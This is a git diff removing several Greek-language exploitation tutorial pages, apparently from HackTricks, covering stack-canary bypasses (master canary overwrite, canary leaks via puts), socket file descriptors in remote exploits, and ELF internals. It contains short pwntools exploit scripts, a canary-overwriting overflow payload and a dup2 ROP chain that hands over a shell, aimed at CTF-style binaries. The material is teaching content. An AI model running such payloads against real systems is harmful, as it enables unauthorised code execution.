Path -0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <- $rbx, $rsp, $rbp, $rsi, $rdi, $r12 -0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15 -``` -Η στοίβα του νήματος τοποθετείται πάνω από την Τοπική Αποθήκευση Νήματος (TLS), όπου αποθηκεύεται το κύριο canary: -```bash -gef> tls -$tls = 0x7ffff7d7f640 -... ----------------------------------------------------------------------------- TLS ---------------------------------------------------------------------------- -0x7ffff7d7f640|+0x0000|+000: 0x00007ffff7d7f640 -> [loop detected] <- $rbx, $r12 -0x7ffff7d7f648|+0x0008|+001: 0x00000000004052b0 -> 0x0000000000000001 -0x7ffff7d7f650|+0x0010|+002: 0x00007ffff7d7f640 -> [loop detected] -0x7ffff7d7f658|+0x0018|+003: 0x0000000000000001 -0x7ffff7d7f660|+0x0020|+004: 0x0000000000000000 -0x7ffff7d7f668|+0x0028|+005: 0x493fdc653a156800 <- canary -0x7ffff7d7f670|+0x0030|+006: 0xb79b79966e9916c4 <- PTR_MANGLE cookie -0x7ffff7d7f678|+0x0038|+007: 0x0000000000000000 -... -``` -> [!NOTE] -> Ορισμένες από τις παραπάνω συναρτήσεις GDB ορίζονται σε μια επέκταση που ονομάζεται [bata24/gef](https://github.com/bata24/gef), η οποία έχει περισσότερες δυνατότητες από την συνήθη [hugsy/gef](https://github.com/hugsy/gef). - -Ως αποτέλεσμα, μια μεγάλη υπερχείλιση μνήμης μπορεί να επιτρέψει την τροποποίηση τόσο του stack canary όσο και του master canary στο TLS. Αυτό είναι το offset: -```bash -gef> p/x 0x7ffff7d7f668 - $rdi -$1 = 0x848 -``` -Αυτή είναι μια σύντομη εκμετάλλευση για να καλέσετε το `win`: -```python -from pwn import * - -context.binary = 'thread_canary' - -payload = b'A' * 0x28 # buffer overflow offset -payload += b'BBBBBBBB' # overwritting stack canary -payload += b'A' * 8 # saved $rbp -payload += p64(context.binary.sym.win) # return address -payload += b'A' * (0x848 - len(payload)) # padding -payload += b'BBBBBBBB' # overwritting master canary - -io = context.binary.process() -io.sendline(payload) -io.interactive() -``` -## Άλλα παραδείγματα & αναφορές - -- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) -- 64 bits, no PIE, nx, BF canary, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το `execve` και να μεταβείτε εκεί. -- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -- 64 bits, no PIE, nx, τροποποιήστε το thread και το master canary. diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md deleted file mode 100644 index 49626b16a..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ /dev/null @@ -1,28 +0,0 @@ -# Print Stack Canary - -{{#include ../../../../banners/hacktricks-training.md}} - -## Enlarge printed stack - -Φανταστείτε μια κατάσταση όπου ένα **πρόγραμμα ευάλωτο** σε stack overflow μπορεί να εκτελέσει μια **λειτουργία puts** **δείχνοντας** σε **μέρος** του **stack overflow**. Ο επιτιθέμενος γνωρίζει ότι το **πρώτο byte του canary είναι ένα null byte** (`\x00`) και τα υπόλοιπα bytes του canary είναι **τυχαία** bytes. Στη συνέχεια, ο επιτιθέμενος μπορεί να δημιουργήσει μια υπερχείλιση που **επικαλύπτει το stack μέχρι το πρώτο byte του canary**. - -Στη συνέχεια, ο επιτιθέμενος **καλεί τη λειτουργία puts** στη μέση του payload που θα **εκτυπώσει όλα τα canary** (εκτός από το πρώτο null byte). - -Με αυτές τις πληροφορίες, ο επιτιθέμενος μπορεί να **δημιουργήσει και να στείλει μια νέα επίθεση** γνωρίζοντας το canary (στην ίδια συνεδρία προγράμματος). - -Προφανώς, αυτή η τακτική είναι πολύ **περιορισμένη** καθώς ο επιτιθέμενος πρέπει να είναι σε θέση να **εκτυπώσει** το **περιεχόμενο** του **payload** του για να **εξάγει** το **canary** και στη συνέχεια να είναι σε θέση να δημιουργήσει ένα νέο payload (στην **ίδια συνεδρία προγράμματος**) και να **στείλει** την **πραγματική υπερχείλιση buffer**. - -**CTF παραδείγματα:** - -- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bit, ASLR ενεργοποιημένο αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσετε στη συνέχεια το puts και να το διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει `system('/bin/sh')` - -## Arbitrary Read - -Με μια αυθαίρετη ανάγνωση όπως αυτή που παρέχεται από τις **μορφές** **strings** μπορεί να είναι δυνατό να διαρρεύσει το canary. Ελέγξτε αυτό το παράδειγμα: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) και μπορείτε να διαβάσετε για την κακή χρήση των μορφών strings για να διαβάσετε αυθαίρετες διευθύνσεις μνήμης σε: - -{{#ref}} -../../format-strings/ -{{#endref}} - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md deleted file mode 100644 index e5f09aa58..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md +++ /dev/null @@ -1,36 +0,0 @@ -# Κοινά Προβλήματα Εκμετάλλευσης - -{{#include ../../banners/hacktricks-training.md}} - -## FDs σε Απομακρυσμένη Εκμετάλλευση - -Όταν στέλνετε μια εκμετάλλευση σε έναν απομακρυσμένο διακομιστή που καλεί **`system('/bin/sh')`**, αυτό θα εκτελείται στη διαδικασία του διακομιστή φυσικά, και το `/bin/sh` θα περιμένει είσοδο από το stdin (FD: `0`) και θα εκτυπώνει την έξοδο στο stdout και stderr (FDs `1` και `2`). Έτσι, ο επιτιθέμενος δεν θα μπορεί να αλληλεπιδράσει με το shell. - -Ένας τρόπος για να το διορθώσετε αυτό είναι να υποθέσετε ότι όταν ο διακομιστής ξεκίνησε, δημιούργησε τον **FD αριθμό `3`** (για ακρόαση) και ότι στη συνέχεια, η σύνδεσή σας θα είναι στον **FD αριθμό `4`**. Επομένως, είναι δυνατό να χρησιμοποιήσετε την κλήση συστήματος **`dup2`** για να αντιγράψετε το stdin (FD 0) και το stdout (FD 1) στον FD 4 (αυτόν της σύνδεσης του επιτιθέμενου) έτσι ώστε να καταστεί εφικτή η επαφή με το shell μόλις εκτελεστεί. - -[**Παράδειγμα εκμετάλλευσης από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): -```python -from pwn import * - -elf = context.binary = ELF('./vuln') -p = remote('localhost', 9001) - -rop = ROP(elf) -rop.raw('A' * 40) -rop.dup2(4, 0) -rop.dup2(4, 1) -rop.win() - -p.sendline(rop.chain()) -p.recvuntil('Thanks!\x00') -p.interactive() -``` -## Socat & pty - -Σημειώστε ότι το socat ήδη μεταφέρει `stdin` και `stdout` στο socket. Ωστόσο, η λειτουργία `pty` **περιλαμβάνει χαρακτήρες DELETE**. Έτσι, αν στείλετε ένα `\x7f` ( `DELETE` -) θα **διαγράψει τον προηγούμενο χαρακτήρα** της εκμετάλλευσής σας. - -Για να παρακαμφθεί αυτό, το **χαρακτήρα διαφυγής `\x16` πρέπει να προστεθεί πριν από οποιοδήποτε `\x7f` σταλεί.** - -**Εδώ μπορείτε να** [**βρείτε ένα παράδειγμα αυτής της συμπεριφοράς**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md deleted file mode 100644 index 072146d7b..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md +++ /dev/null @@ -1,382 +0,0 @@ -# ELF Tricks - -{{#include ../../banners/hacktricks-training.md}} - -## Program Headers - -Περιγράφουν στον φορτωτή πώς να φορτώσει το ELF στη μνήμη: -```bash -readelf -lW lnstat - -Elf file type is DYN (Position-Independent Executable file) -Entry point 0x1c00 -There are 9 program headers, starting at offset 64 - -Program Headers: -Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align -PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 -INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 -[Requesting program interpreter: /lib/ld-linux-aarch64.so.1] -LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 -LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 -DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 -NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 -GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 -GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 -GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 - -Section to Segment mapping: -Segment Sections... -00 -01 .interp -02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame -03 .init_array .fini_array .dynamic .got .data .bss -04 .dynamic -05 .note.gnu.build-id .note.ABI-tag .note.package -06 .eh_frame_hdr -07 -08 .init_array .fini_array .dynamic .got -``` -Το προηγούμενο πρόγραμμα έχει **9 επικεφαλίδες προγράμματος**, στη συνέχεια, η **χαρτογράφηση τμημάτων** υποδεικνύει σε ποια επικεφαλίδα προγράμματος (από 00 έως 08) **βρίσκεται κάθε τμήμα**. - -### PHDR - Επικεφαλίδα Προγράμματος - -Περιέχει τους πίνακες επικεφαλίδων προγράμματος και τα μεταδεδομένα. - -### INTERP - -Υποδεικνύει τη διαδρομή του φορτωτή που θα χρησιμοποιηθεί για να φορτώσει το δυαδικό αρχείο στη μνήμη. - -### LOAD - -Αυτές οι επικεφαλίδες χρησιμοποιούνται για να υποδείξουν **πώς να φορτώσετε ένα δυαδικό αρχείο στη μνήμη.**\ -Κάθε **LOAD** επικεφαλίδα υποδεικνύει μια περιοχή **μνήμης** (μέγεθος, δικαιώματα και ευθυγράμμιση) και υποδεικνύει τα bytes του ELF **δυαδικού αρχείου που θα αντιγραφούν εκεί**. - -Για παράδειγμα, η δεύτερη έχει μέγεθος 0x1190, θα πρέπει να βρίσκεται στη διεύθυνση 0x1fc48 με δικαιώματα ανάγνωσης και εγγραφής και θα γεμίσει με 0x528 από την απόσταση 0xfc48 (δεν γεμίζει όλο τον κρατημένο χώρο). Αυτή η μνήμη θα περιέχει τα τμήματα `.init_array .fini_array .dynamic .got .data .bss`. - -### DYNAMIC - -Αυτή η επικεφαλίδα βοηθά στη σύνδεση προγραμμάτων με τις βιβλιοθήκες τους και στην εφαρμογή ανακατατάξεων. Ελέγξτε το **`.dynamic`** τμήμα. - -### NOTE - -Αυτό αποθηκεύει πληροφορίες μεταδεδομένων προμηθευτή σχετικά με το δυαδικό αρχείο. - -### GNU_EH_FRAME - -Ορίζει τη θέση των πινάκων αποσυμπίεσης στοίβας, που χρησιμοποιούνται από αποσφαλματωτές και συναρτήσεις χειρισμού εξαιρέσεων C++. - -### GNU_STACK - -Περιέχει τη ρύθμιση της άμυνας κατά της εκτέλεσης στοίβας. Εάν είναι ενεργοποιημένη, το δυαδικό αρχείο δεν θα μπορεί να εκτελεί κώδικα από τη στοίβα. - -### GNU_RELRO - -Υποδεικνύει τη ρύθμιση RELRO (Relocation Read-Only) του δυαδικού αρχείου. Αυτή η προστασία θα χαρακτηρίσει ως μόνο για ανάγνωση ορισμένα τμήματα της μνήμης (όπως το `GOT` ή τους πίνακες `init` και `fini`) αφού το πρόγραμμα έχει φορτωθεί και πριν αρχίσει να εκτελείται. - -Στο προηγούμενο παράδειγμα, αντιγράφει 0x3b8 bytes στη διεύθυνση 0x1fc48 ως μόνο για ανάγνωση επηρεάζοντας τα τμήματα `.init_array .fini_array .dynamic .got .data .bss`. - -Σημειώστε ότι το RELRO μπορεί να είναι μερικό ή πλήρες, η μερική έκδοση δεν προστατεύει το τμήμα **`.plt.got`**, το οποίο χρησιμοποιείται για **lazy binding** και χρειάζεται αυτόν τον χώρο μνήμης για να έχει **δικαιώματα εγγραφής** για να γράψει τη διεύθυνση των βιβλιοθηκών την πρώτη φορά που αναζητείται η τοποθεσία τους. - -### TLS - -Ορίζει έναν πίνακα καταχωρήσεων TLS, ο οποίος αποθηκεύει πληροφορίες σχετικά με τις τοπικές μεταβλητές νήματος. - -## Επικεφαλίδες Τμημάτων - -Οι επικεφαλίδες τμημάτων παρέχουν μια πιο λεπτομερή εικόνα του ELF δυαδικού αρχείου. -``` -objdump lnstat -h - -lnstat: file format elf64-littleaarch64 - -Sections: -Idx Name Size VMA LMA File off Algn -0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 -CONTENTS, ALLOC, LOAD, READONLY, DATA -1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 -CONTENTS, ALLOC, LOAD, READONLY, DATA -2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 -CONTENTS, ALLOC, LOAD, READONLY, DATA -3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 -CONTENTS, ALLOC, LOAD, READONLY, DATA -4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 -CONTENTS, ALLOC, LOAD, READONLY, DATA -7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 -CONTENTS, ALLOC, LOAD, READONLY, DATA -8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 -CONTENTS, ALLOC, LOAD, READONLY, CODE -12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 -CONTENTS, ALLOC, LOAD, READONLY, CODE -13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 -CONTENTS, ALLOC, LOAD, READONLY, CODE -14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 -CONTENTS, ALLOC, LOAD, READONLY, CODE -15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 -CONTENTS, ALLOC, LOAD, READONLY, DATA -17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 -CONTENTS, ALLOC, LOAD, READONLY, DATA -18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 -CONTENTS, ALLOC, LOAD, DATA -19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 -CONTENTS, ALLOC, LOAD, DATA -20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 -CONTENTS, ALLOC, LOAD, DATA -21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 -CONTENTS, ALLOC, LOAD, DATA -22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 -CONTENTS, ALLOC, LOAD, DATA -23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 -ALLOC -24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 -CONTENTS, READONLY -25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 -CONTENTS, READONLY -``` -Επίσης υποδεικνύει την τοποθεσία, την απόσταση, τα δικαιώματα αλλά και τον **τύπο δεδομένων** που έχει η ενότητα. - -### Μετα-Ενότητες - -- **String table**: Περιέχει όλα τα strings που χρειάζεται το αρχείο ELF (αλλά όχι αυτά που χρησιμοποιούνται πραγματικά από το πρόγραμμα). Για παράδειγμα, περιέχει ονόματα ενοτήτων όπως `.text` ή `.data`. Και αν η `.text` είναι στην απόσταση 45 στον πίνακα strings, θα χρησιμοποιήσει τον αριθμό **45** στο πεδίο **name**. -- Για να βρείτε πού είναι ο πίνακας strings, το ELF περιέχει έναν δείκτη στον πίνακα strings. -- **Symbol table**: Περιέχει πληροφορίες για τα σύμβολα όπως το όνομα (απόσταση στον πίνακα strings), διεύθυνση, μέγεθος και περισσότερα μεταδεδομένα σχετικά με το σύμβολο. - -### Κύριες Ενότητες - -- **`.text`**: Οι εντολές του προγράμματος που πρέπει να εκτελούνται. -- **`.data`**: Παγκόσμιες μεταβλητές με καθορισμένη τιμή στο πρόγραμμα. -- **`.bss`**: Παγκόσμιες μεταβλητές που έχουν μείνει μη αρχικοποιημένες (ή αρχικοποιημένες σε μηδέν). Οι μεταβλητές εδώ αρχικοποιούνται αυτόματα σε μηδέν, αποτρέποντας έτσι την προσθήκη άχρηστων μηδενικών στο δυαδικό. -- **`.rodata`**: Σταθερές παγκόσμιες μεταβλητές (τμήμα μόνο για ανάγνωση). -- **`.tdata`** και **`.tbss`**: Όπως οι .data και .bss όταν χρησιμοποιούνται μεταβλητές τοπικού νήματος (`__thread_local` στην C++ ή `__thread` στην C). -- **`.dynamic`**: Δείτε παρακάτω. - -## Σύμβολα - -Τα σύμβολα είναι μια ονομαστική τοποθεσία στο πρόγραμμα που μπορεί να είναι μια συνάρτηση, ένα παγκόσμιο αντικείμενο δεδομένων, μεταβλητές τοπικού νήματος... -``` -readelf -s lnstat - -Symbol table '.dynsym' contains 49 entries: -Num: Value Size Type Bind Vis Ndx Name -0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND -1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init -2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data -3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) -4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) -5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) -6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) -7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) -8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) -9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) -10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] -11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) -12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) -[...] -``` -Κάθε είσοδος συμβόλου περιέχει: - -- **Όνομα** -- **Δεσμευτικά χαρακτηριστικά** (ασθενές, τοπικό ή παγκόσμιο): Ένα τοπικό σύμβολο μπορεί να προσπελαστεί μόνο από το ίδιο το πρόγραμμα, ενώ τα παγκόσμια σύμβολα μοιράζονται εκτός του προγράμματος. Ένα ασθενές αντικείμενο είναι για παράδειγμα μια συνάρτηση που μπορεί να παρακαμφθεί από μια διαφορετική. -- **Τύπος**: NOTYPE (κανένας τύπος καθορισμένος), OBJECT (παγκόσμια μεταβλητή δεδομένων), FUNC (συνάρτηση), SECTION (τμήμα), FILE (αρχείο πηγαίου κώδικα για αποσφαλμάτωση), TLS (μεταβλητή τοπικού νήματος), GNU_IFUNC (έμμεση συνάρτηση για ανακατανομή) -- **Δείκτης τμήματος** όπου βρίσκεται -- **Τιμή** (διεύθυνση στη μνήμη) -- **Μέγεθος** - -## Δυναμικό Τμήμα -``` -readelf -d lnstat - -Dynamic section at offset 0xfc58 contains 28 entries: -Tag Type Name/Value -0x0000000000000001 (NEEDED) Shared library: [libc.so.6] -0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] -0x000000000000000c (INIT) 0x1088 -0x000000000000000d (FINI) 0x2f74 -0x0000000000000019 (INIT_ARRAY) 0x1fc48 -0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) -0x000000000000001a (FINI_ARRAY) 0x1fc50 -0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) -0x000000006ffffef5 (GNU_HASH) 0x338 -0x0000000000000005 (STRTAB) 0x7f0 -0x0000000000000006 (SYMTAB) 0x358 -0x000000000000000a (STRSZ) 510 (bytes) -0x000000000000000b (SYMENT) 24 (bytes) -0x0000000000000015 (DEBUG) 0x0 -0x0000000000000003 (PLTGOT) 0x1fe58 -0x0000000000000002 (PLTRELSZ) 960 (bytes) -0x0000000000000014 (PLTREL) RELA -0x0000000000000017 (JMPREL) 0xcc8 -0x0000000000000007 (RELA) 0xaa0 -0x0000000000000008 (RELASZ) 552 (bytes) -0x0000000000000009 (RELAENT) 24 (bytes) -0x000000000000001e (FLAGS) BIND_NOW -0x000000006ffffffb (FLAGS_1) Flags: NOW PIE -0x000000006ffffffe (VERNEED) 0xa50 -0x000000006fffffff (VERNEEDNUM) 2 -0x000000006ffffff0 (VERSYM) 0x9ee -0x000000006ffffff9 (RELACOUNT) 15 -0x0000000000000000 (NULL) 0x0 -``` -Ο φάκελος NEEDED υποδεικνύει ότι το πρόγραμμα **χρειάζεται να φορτώσει τη συγκεκριμένη βιβλιοθήκη** προκειμένου να συνεχίσει. Ο φάκελος NEEDED ολοκληρώνεται μόλις η κοινή **βιβλιοθήκη είναι πλήρως λειτουργική και έτοιμη** προς χρήση. - -## Relocations - -Ο φορτωτής πρέπει επίσης να μετατοπίσει τις εξαρτήσεις αφού τις έχει φορτώσει. Αυτές οι μετατοπίσεις υποδεικνύονται στον πίνακα μετατοπίσεων σε μορφές REL ή RELA και ο αριθμός των μετατοπίσεων δίνεται στις δυναμικές ενότητες RELSZ ή RELASZ. -``` -readelf -r lnstat - -Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: -Offset Info Type Sym. Value Sym. Name + Addend -00000001fc48 000000000403 R_AARCH64_RELATIV 1d10 -00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0 -00000001fff0 000000000403 R_AARCH64_RELATIV 1340 -000000020008 000000000403 R_AARCH64_RELATIV 20008 -000000020010 000000000403 R_AARCH64_RELATIV 3330 -000000020030 000000000403 R_AARCH64_RELATIV 3338 -000000020050 000000000403 R_AARCH64_RELATIV 3340 -000000020070 000000000403 R_AARCH64_RELATIV 3348 -000000020090 000000000403 R_AARCH64_RELATIV 3350 -0000000200b0 000000000403 R_AARCH64_RELATIV 3358 -0000000200d0 000000000403 R_AARCH64_RELATIV 3360 -0000000200f0 000000000403 R_AARCH64_RELATIV 3370 -000000020110 000000000403 R_AARCH64_RELATIV 3378 -000000020130 000000000403 R_AARCH64_RELATIV 3380 -000000020150 000000000403 R_AARCH64_RELATIV 3388 -00000001ffb8 000a00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_deregisterTM[...] + 0 -00000001ffc0 000b00000401 R_AARCH64_GLOB_DA 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0 -00000001ffc8 000f00000401 R_AARCH64_GLOB_DA 0000000000000000 stderr@GLIBC_2.17 + 0 -00000001ffd0 001000000401 R_AARCH64_GLOB_DA 0000000000000000 optarg@GLIBC_2.17 + 0 -00000001ffd8 001400000401 R_AARCH64_GLOB_DA 0000000000000000 stdout@GLIBC_2.17 + 0 -00000001ffe0 001e00000401 R_AARCH64_GLOB_DA 0000000000000000 __gmon_start__ + 0 -00000001ffe8 001f00000401 R_AARCH64_GLOB_DA 0000000000000000 __stack_chk_guard@GLIBC_2.17 + 0 -00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 - -Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: -Offset Info Type Sym. Value Sym. Name + Addend -00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0 -00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0 -00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0 -00000001fe88 000600000402 R_AARCH64_JUMP_SL 0000000000000000 fputs@GLIBC_2.17 + 0 -00000001fe90 000700000402 R_AARCH64_JUMP_SL 0000000000000000 exit@GLIBC_2.17 + 0 -00000001fe98 000800000402 R_AARCH64_JUMP_SL 0000000000000000 __libc_start_main@GLIBC_2.34 + 0 -00000001fea0 000900000402 R_AARCH64_JUMP_SL 0000000000000000 perror@GLIBC_2.17 + 0 -00000001fea8 000b00000402 R_AARCH64_JUMP_SL 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0 -00000001feb0 000c00000402 R_AARCH64_JUMP_SL 0000000000000000 putc@GLIBC_2.17 + 0 -00000001feb8 000d00000402 R_AARCH64_JUMP_SL 0000000000000000 opendir@GLIBC_2.17 + 0 -00000001fec0 000e00000402 R_AARCH64_JUMP_SL 0000000000000000 fputc@GLIBC_2.17 + 0 -00000001fec8 001100000402 R_AARCH64_JUMP_SL 0000000000000000 snprintf@GLIBC_2.17 + 0 -00000001fed0 001200000402 R_AARCH64_JUMP_SL 0000000000000000 __snprintf_chk@GLIBC_2.17 + 0 -00000001fed8 001300000402 R_AARCH64_JUMP_SL 0000000000000000 malloc@GLIBC_2.17 + 0 -00000001fee0 001500000402 R_AARCH64_JUMP_SL 0000000000000000 gettimeofday@GLIBC_2.17 + 0 -00000001fee8 001600000402 R_AARCH64_JUMP_SL 0000000000000000 sleep@GLIBC_2.17 + 0 -00000001fef0 001700000402 R_AARCH64_JUMP_SL 0000000000000000 __vfprintf_chk@GLIBC_2.17 + 0 -00000001fef8 001800000402 R_AARCH64_JUMP_SL 0000000000000000 calloc@GLIBC_2.17 + 0 -00000001ff00 001900000402 R_AARCH64_JUMP_SL 0000000000000000 rewind@GLIBC_2.17 + 0 -00000001ff08 001a00000402 R_AARCH64_JUMP_SL 0000000000000000 strdup@GLIBC_2.17 + 0 -00000001ff10 001b00000402 R_AARCH64_JUMP_SL 0000000000000000 closedir@GLIBC_2.17 + 0 -00000001ff18 001c00000402 R_AARCH64_JUMP_SL 0000000000000000 __stack_chk_fail@GLIBC_2.17 + 0 -00000001ff20 001d00000402 R_AARCH64_JUMP_SL 0000000000000000 strrchr@GLIBC_2.17 + 0 -00000001ff28 001e00000402 R_AARCH64_JUMP_SL 0000000000000000 __gmon_start__ + 0 -00000001ff30 002000000402 R_AARCH64_JUMP_SL 0000000000000000 abort@GLIBC_2.17 + 0 -00000001ff38 002100000402 R_AARCH64_JUMP_SL 0000000000000000 feof@GLIBC_2.17 + 0 -00000001ff40 002200000402 R_AARCH64_JUMP_SL 0000000000000000 getopt_long@GLIBC_2.17 + 0 -00000001ff48 002300000402 R_AARCH64_JUMP_SL 0000000000000000 __fprintf_chk@GLIBC_2.17 + 0 -00000001ff50 002400000402 R_AARCH64_JUMP_SL 0000000000000000 strcmp@GLIBC_2.17 + 0 -00000001ff58 002500000402 R_AARCH64_JUMP_SL 0000000000000000 free@GLIBC_2.17 + 0 -00000001ff60 002600000402 R_AARCH64_JUMP_SL 0000000000000000 readdir64@GLIBC_2.17 + 0 -00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0 -00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0 -00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0 -00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0 -00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0 -00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0 -00000001ff98 002d00000402 R_AARCH64_JUMP_SL 0000000000000000 strncpy@GLIBC_2.17 + 0 -00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 -00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 -``` -### Στατικές Μεταθέσεις 